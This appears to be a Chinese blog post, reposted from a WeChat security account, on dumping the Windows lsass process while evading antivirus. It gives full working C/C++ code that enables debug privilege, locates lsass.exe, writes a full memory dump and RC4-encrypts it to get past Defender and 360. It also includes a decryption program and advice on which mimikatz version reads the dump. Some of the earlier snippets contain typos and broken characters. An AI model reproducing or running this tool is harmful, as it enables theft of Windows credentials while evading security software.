提升权限
DumpLsass
需要SeDebugPrivilege
权限,管理员Powershell
默认是有的,流程是首先提升进程权限,看网络上的前辈视频和文章第一种方法用底层函数RtlAdjustPrivilege
,第二种方法通过NtOpenProcessToken
获得当前进程的token
所有特权遍历到DebugPrivilege
后通过NtAdjustPrivilegesToken
设置为SE_PRIVILEGE_ENABLED
第一种方法:
void EnableDebug() {
auto pRtlAdjustPrivilege = (decltype(&RtlAdjustPrivilege))GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlAdjustPrivilege");
BOOLEAN Enabled;
pRtlAdjustPrivilege(0x14,1,0&Enabled);
}
代码含义
auto pRtlAdjustPrivilege = (decltype(&RtlAdjustPrivilege))GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlAdjustPrivilege");
-
LoadLibraryA("ntdll.dll")
:调用LoadLibraryA
函数加载ntdll.dll
动态链接库。ntdll.dll
是Windows NT
操作系统的核心动态链接库,包含了许多底层的系统函数。 -
GetProcAddress(..., "RtlAdjustPrivilege")
:调用GetProcAddress
函数从ntdll.dll
中获取RtlAdjustPrivilege
函数的地址。RtlAdjustPrivilege
是一个用于调整进程或线程特权的函数。 -
(decltype(&RtlAdjustPrivilege))
:将获取到的函数地址强制转换为RtlAdjustPrivilege
函数指针类型。decltype(&RtlAdjustPrivilege)
用于自动推导RtlAdjustPrivilege
函数指针的类型
pRtlAdjustPrivilege(0x14,1,0&Enabled);
-
0x14
:表示要调整的特权标识符,0x14
对应的是调试特权(SE_DEBUG_NAME)
。 -
1
:在RtlAdjustPrivilege
函数中,这个参数通常应该是BOOLEAN
类型,1
相当于TRUE
,表示要启用该特权。 -
0&Enabled
:这是错误的参数传递方式。正确的应该是传递&Enabled
,用于让RtlAdjustPrivilege
函数将特定特权是否已启用的结果存储在Enabled
变量中。
第二种方法:
BOOL SetDebugPrivilege()
{
HANDLE token = NULL;
NtOpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token);
TOKEN_ELEVATION tokenElevation = { 0 };
DWORD tokenElevationSize = sizeof(TOKEN_ELEVATION);
NtQueryInformationToken(token, TokenElevation, &tokenElevation, sizeof(tokenElevation), &tokenElevationSize);
if (tokenElevation.TokenIsElevated)
{
DWORD tokenPrivsSize = 0;
NtQueryInformationToken(token, TokenPrivileges, NULL, NULL, &tokenPrivsSize);
PTOKEN_PRIVILEGES tokenPrivs = (PTOKEN_PRIVILEGES)new BYTE[tokenPrivsSize];
NtQueryInformationToken(token, TokenPrivileges, tokenPrivs, tokenPrivsSize, &tokenPrivsSize);
for (DWORD i = 0; i < tokenPrivs->PrivilegeCount; i++)
{
if (tokenPrivs->Privileges[i].Luid.LowPart == 0x14)
{
tokenPrivs->Privileges[i].Attributes |= SE_PRIVILEGE_ENABLED;
NtAdjustPrivilegesToken(token, FALSE, tokenPrivs, tokenPrivsSize, NULL, NULL);
}
}
delete tokenPrivs;
}
NtClose(token);
return TRUE;
}
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == NULL) {
return 1;
}
代码含义
NtOpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token);
NtOpenProcessToken
是Windows NT
操作系统中的一个原生函数,用于打开指定进程的访问令牌,并返回一个可用于后续操作该令牌的句柄。
-
第一个参数:即
GetCurrentProcess()
返回的当前进程的伪句柄,表示要打开其访问令牌的进程。 -
第二个参数:
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES
是一个权限标志组合。 -
TOKEN_QUERY
:表示请求查询访问令牌信息的权限,例如查询令牌中的用户SID
(安全标识符)、组信息、权限列表等。 -
TOKEN_ADJUST_PRIVILEGES
:表示请求调整访问令牌中权限的权限,例如启用或禁用某些特权(如调试特权、关机特权等)。 -
第三个参数:
&token
是一个指向HANDLE
类型变量的指针,用于接收打开的访问令牌的句柄。后续可以使用这个句柄对访问令牌进行进一步的操作。
DWORD lsassPid = 0;
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
HANDLE hSnapShot = NULL;
-
lsassPid
:用于存储找到的lsass.exe
进程的PID
,初始化为0
。 -
pe32
:PROCESSENTRY32
结构体变量,用于存储进程的信息,初始化其dwSize
成员为结构体的大小。 -
hSnapShot
:用于存储进程快照的句柄,初始化为NULL
。
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == NULL) {
return 1;
}
-
CreateToolhelp32Snapshot
:创建一个系统快照,TH32CS_SNAPPROCESS
表示创建所有进程的快照,第二个参数为NULL
表示获取所有进程的信息。 -
CreateToolhelp32Snapshot
:创建一个系统快照,TH32CS_SNAPPROCESS
表示创建所有进程的快照,第二个参数为NULL
表示获取所有进程的信息。 -
如果创建快照失败,返回
1
表示程序异常退出。
if (Process32First(hSnapShot, &pe32)) {
do {
wchar_t* ptr = wcsstr(pe32.szExeFile, L"lsass.exe");
if (ptr != NULL) {
lsassPid = pe32.th32ProcessID;
wprintf(L"Found lsass.exe process. PID: %lun", lsassPid);
break;
}
} while (Process32Next(hSnapShot, &pe32));
}
-
Process32First
:获取快照中的第一个进程信息,并将其存储在pe32
结构体中。 -
wcsstr
:在宽字符字符串pe32.szExeFile
中查找子字符串L"lsass.exe"
,如果找到则返回子字符串的指针,否则返回NULL
。 -
如果找到
lsass.exe
进程,将其PID
存储在lsassPid
中,并使用wprintf
输出信息,然后使用break
语句退出循环。 -
Process32Next
:获取快照中的下一个进程信息,继续循环遍历。
遍历进程ID
首先获取进程ID
,进程匹配,创建系统快照,遍历进程快照,通过wcsstr
,在宽字符字符串 pe32.szExeFile
中查找子字符串 L"lsass.exe"
。如果找到,返回子字符串的指针;否则返回 NULL
。
#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
#include <string.h>
#include <wchar.h> // 新增,用于宽字符相关操作
int main() {
DWORD lsassPid = 0;
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
HANDLE hSnapShot = NULL;
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == NULL) {
return 1;
}
if (Process32First(hSnapShot, &pe32)) {
do {
// 使用wcsstr处理宽字符类型的szExeFile(假设其为宽字符类型)
wchar_t* ptr = wcsstr(pe32.szExeFile, L"lsass.exe");
if (ptr != NULL) { // 判断是否找到lsass.exe
lsassPid = pe32.th32ProcessID; // 将lsass.exe进程的PID存储到变量中
wprintf(L"Found lsass.exe process. PID: %lun", lsassPid); // 使用wprintf输出宽字符字符串
break; // 找到后就可以退出循环了,不需要继续遍历
}
} while (Process32Next(hSnapShot, &pe32));
}
CloseHandle(hSnapShot);
return 0;
}
MiniDump
通过MiniDumpWriteDump
读取lsass
进程内存,并将结果保存到文件
MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
离不开MiniDumpWriteDump API来生成程序的Dump,视频中给出了如下代码
auto pMiniDumpWriteDump = (decltype(&MiniDumpWriteDump))GetProcAddress(LoadLibraryA("dbghelp.dll"), "MiniDumpWriteDump");
auto dumpFile = CreateFileA("minidump", GENERIC_ALL, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
auto result = pMiniDumpWriteDump(hlsass, LsassPid, dumpFile, (MINIDUMP_TYPE)6, NULL, NULL, NULL);
if(result)
{
auto DumpSie = GetFileSize(dumpFile,NULL);
SetFilePointer(dumpFile,NULL,NULL,FILE_BEGIN);
auto buff = new char[DumpSize];
memset(buff,0,DumpSize);
ReadFile(dumpFile,buff,DumpSize,NULL,NULL);
for (size_t i=0;i< Dumpsize;i++);
{
buff[i] ^= 0x8D;
}
SetFilePoniter(dumpFile,NULL,NULL,FILE_BEGIN);
WriteFile(dumpFile,buff,DumpSize,NULL,NULL);
}
CloseHandle(hlsass);
CloseHandle(dumpFile);
但是在defender环境下转储的lsass如果不加密会直接杀,最好是加密一下 代码含义:
auto pMiniDumpWriteDump = (decltype(&MiniDumpWriteDump))GetProcAddress(LoadLibraryA("dbghelp.dll"), "MiniDumpWriteDump");
-
LoadLibraryA("dbghelp.dll")
:调用LoadLibraryA
函数动态加载dbghelp.dll
动态链接库。这个库包含了许多与调试和转储文件操作相关的函数。 -
GetProcAddress(..., "MiniDumpWriteDump")
:使用GetProcAddress
函数从已经加载的dbghelp.dll
库中获取MiniDumpWriteDump
函数的地址。MiniDumpWriteDump
函数用于创建指定进程的迷你转储文件。 -
(decltype(&MiniDumpWriteDump))
:将获取到的函数地址强制转换为MiniDumpWriteDump
函数指针类型。decltype(&MiniDumpWriteDump)
可以自动推导MiniDumpWriteDump
函数指针的类型。 -
auto pMiniDumpWriteDump
:使用auto
关键字让编译器自动推导pMiniDumpWriteDump
的类型,它最终是一个指向MiniDumpWriteDump
函数的指针。
auto result = pMiniDumpWriteDump(hlsass, LsassPid, dumpFile, (MINIDUMP_TYPE)6, NULL, NULL, NULL);
-
pMiniDumpWriteDump
:前面获取到的MiniDumpWriteDump
函数指针。 -
hlsass
:要创建迷你转储文件的目标进程的句柄。 -
LsassPid
:目标进程的进程ID
。 -
(MINIDUMP_TYPE)6
:指定迷你转储文件的类型,把整数6
强制转换为MINIDUMP_TYPE
枚举类型,不同的枚举值代表不同的转储级别和包含的信息。 -
NULL, NULL, NULL
:分别表示异常信息、用户流回调函数和用户流上下文,这里都不使用,传入NULL
。 -
auto result
:使用auto
关键字让编译器自动推导result
的类型,它是一个布尔值,用于表示MiniDumpWriteDump
函数调用是否成功。
参考代码
dump lssas
#include <Windows.h>
#include <Tlhelp32.h>
#include <Dbghelp.h>
#include <vector>
#pragma comment(lib, "Dbghelp.lib")
// RC4 初始化
void rc4_init(const std::vector<unsigned char>& key, std::vector<unsigned char>& S) {
for (int i = 0; i < 256; ++i) {
S[i] = static_cast<unsigned char>(i);
}
int j = 0;
for (int i = 0; i < 256; ++i) {
j = (j + S[i] + key[i % key.size()]) % 256;
std::swap(S[i], S[j]);
}
}
// RC4 加密
std::vector<unsigned char> rc4_encrypt(const std::vector<unsigned char>& key, const std::vector<unsigned char>& plaintext) {
std::vector<unsigned char> S(256);
rc4_init(key, S);
std::vector<unsigned char> ciphertext(plaintext.size());
int i = 0, j = 0;
for (size_t k = 0; k < plaintext.size(); ++k) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
std::swap(S[i], S[j]);
unsigned char keystream_byte = S[(S[i] + S[j]) % 256];
ciphertext[k] = plaintext[k] ^ keystream_byte;
}
return ciphertext;
}
// 获取 lsass.exe 进程的 PID
DWORD GetLsassPid() {
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
if (Process32First(hSnapshot, &pe32)) {
do {
if (wcscmp(pe32.szExeFile, L"lsass.exe") == 0) {
CloseHandle(hSnapshot);
return pe32.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return 0;
}
// 启用调试权限
BOOL EnableDebugPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return FALSE;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
// 将 char 数组转换为 LPCWSTR
LPCWSTR charToLPCWSTR(const char* str) {
int len = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
wchar_t* wstr = new wchar_t[len];
MultiByteToWideChar(CP_ACP, 0, str, -1, wstr, len);
return wstr;
}
int main() {
if (!EnableDebugPrivilege()) return 1;
DWORD lsassPid = GetLsassPid();
if (lsassPid == 0) return 1;
HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid);
if (hLsass == NULL) return 1;
const char miniDumpStr[] = { 'M','i','n','i','D','u','m','p','W','r','i','t','e','D','u','m','p','�' };
const char strDMP[] = { 'r','e','s','u','l','t','.','b','i','n','�' };
typedef BOOL(WINAPI* PMiniDumpWriteDump)(HANDLE, DWORD, HANDLE, MINIDUMP_TYPE, PMINIDUMP_EXCEPTION_INFORMATION, PMINIDUMP_USER_STREAM_INFORMATION, PMINIDUMP_CALLBACK_INFORMATION);
PMiniDumpWriteDump MiniDumpWriteDump = (PMiniDumpWriteDump)(GetProcAddress(LoadLibrary(charToLPCWSTR("dbghelp.dll")), miniDumpStr));
if (MiniDumpWriteDump == NULL) {
CloseHandle(hLsass);
return 1;
}
HANDLE hDumpFile = CreateFileA(strDMP, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDumpFile == INVALID_HANDLE_VALUE) {
CloseHandle(hLsass);
return 1;
}
BOOL result = MiniDumpWriteDump(hLsass, lsassPid, hDumpFile, (MINIDUMP_TYPE)6, NULL, NULL, NULL);
if (!result) {
CloseHandle(hLsass);
CloseHandle(hDumpFile);
return 1;
}
DWORD fileSize = GetFileSize(hDumpFile, NULL);
if (fileSize == INVALID_FILE_SIZE) {
CloseHandle(hLsass);
CloseHandle(hDumpFile);
return 1;
}
SetFilePointer(hDumpFile, 0, NULL, FILE_BEGIN);
std::vector<unsigned char> fileContent(fileSize);
DWORD bytesRead;
if (!ReadFile(hDumpFile, fileContent.data(), fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
CloseHandle(hLsass);
CloseHandle(hDumpFile);
return 1;
}
std::vector<unsigned char> rc4Key = { 'S', 'e', 'c', 'r', 'e', 't', 'K', 'e', 'y' };
std::vector<unsigned char> encryptedContent = rc4_encrypt(rc4Key, fileContent);
SetFilePointer(hDumpFile, 0, NULL, FILE_BEGIN);
DWORD bytesWritten;
if (!WriteFile(hDumpFile, encryptedContent.data(), encryptedContent.size(), &bytesWritten, NULL) || bytesWritten != encryptedContent.size()) {
CloseHandle(hLsass);
CloseHandle(hDumpFile);
return 1;
}
CloseHandle(hLsass);
CloseHandle(hDumpFile);
return 0;
}
解密
#include <fstream>
#include <vector>
// RC4 初始化
void rc4_init(const std::vector<unsigned char>& key, std::vector<unsigned char>& S) {
for (int i = 0; i < 256; ++i) {
S[i] = static_cast<unsigned char>(i);
}
int j = 0;
for (int i = 0; i < 256; ++i) {
j = (j + S[i] + key[i % key.size()]) % 256;
std::swap(S[i], S[j]);
}
}
// RC4 解密(加密和解密操作相同)
std::vector<unsigned char> rc4_decrypt(const std::vector<unsigned char>& key, const std::vector<unsigned char>& ciphertext) {
std::vector<unsigned char> S(256);
rc4_init(key, S);
std::vector<unsigned char> plaintext(ciphertext.size());
int i = 0, j = 0;
for (size_t k = 0; k < ciphertext.size(); ++k) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
std::swap(S[i], S[j]);
unsigned char keystream_byte = S[(S[i] + S[j]) % 256];
plaintext[k] = ciphertext[k] ^ keystream_byte;
}
return plaintext;
}
int main() {
std::vector<unsigned char> rc4Key = { 'S', 'e', 'c', 'r', 'e', 't', 'K', 'e', 'y' };
std::ifstream encryptedFile("result.bin", std::ios::binary);
if (!encryptedFile) return 1;
encryptedFile.seekg(0, std::ios::end);
std::streamsize fileSize = encryptedFile.tellg();
encryptedFile.seekg(0, std::ios::beg);
std::vector<unsigned char> encryptedContent(fileSize);
if (!encryptedFile.read(reinterpret_cast<char*>(encryptedContent.data()), fileSize)) {
encryptedFile.close();
return 1;
}
encryptedFile.close();
std::vector<unsigned char> decryptedContent = rc4_decrypt(rc4Key, encryptedContent);
std::ofstream decryptedFile("decrypted_result.bin", std::ios::binary);
if (!decryptedFile) return 1;
if (!decryptedFile.write(reinterpret_cast<const char*>(decryptedContent.data()), decryptedContent.size())) {
decryptedFile.close();
return 1;
}
decryptedFile.close();
return 0;
}
360静态测试过了,需要icon version 签名 该加的都加上,但动态的时候会提示恶意程序操作dump你的凭据,但还是顺利dump出来。应该是被hook了,过段时间云查杀会判断成木马文件,推测应为恶意行为导致判断成恶意文件。
注意:
提示Opening : 'decrypted_result.dmp' file for minidump... ERROR kuhl_m_sekurlsa_acquireLSA ; Key import
,据查阅资料显示应为猕猴桃版本问题,使用mimikatz
的2.1.1
版本即可避免此告警
参考资料:
-
【免杀小技05:免杀Dump】 https://www.bilibili.com/video/BV1Rz4y1u7tn?vd_source=0d0f0e2e132193a2b5f36624bfadabef
-
【文章 - DumpLsass免杀 - 先知社区】 https://xz.aliyun.com/news/14977
原文始发于微信公众号(花火安全):免杀 | dump lssas进程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论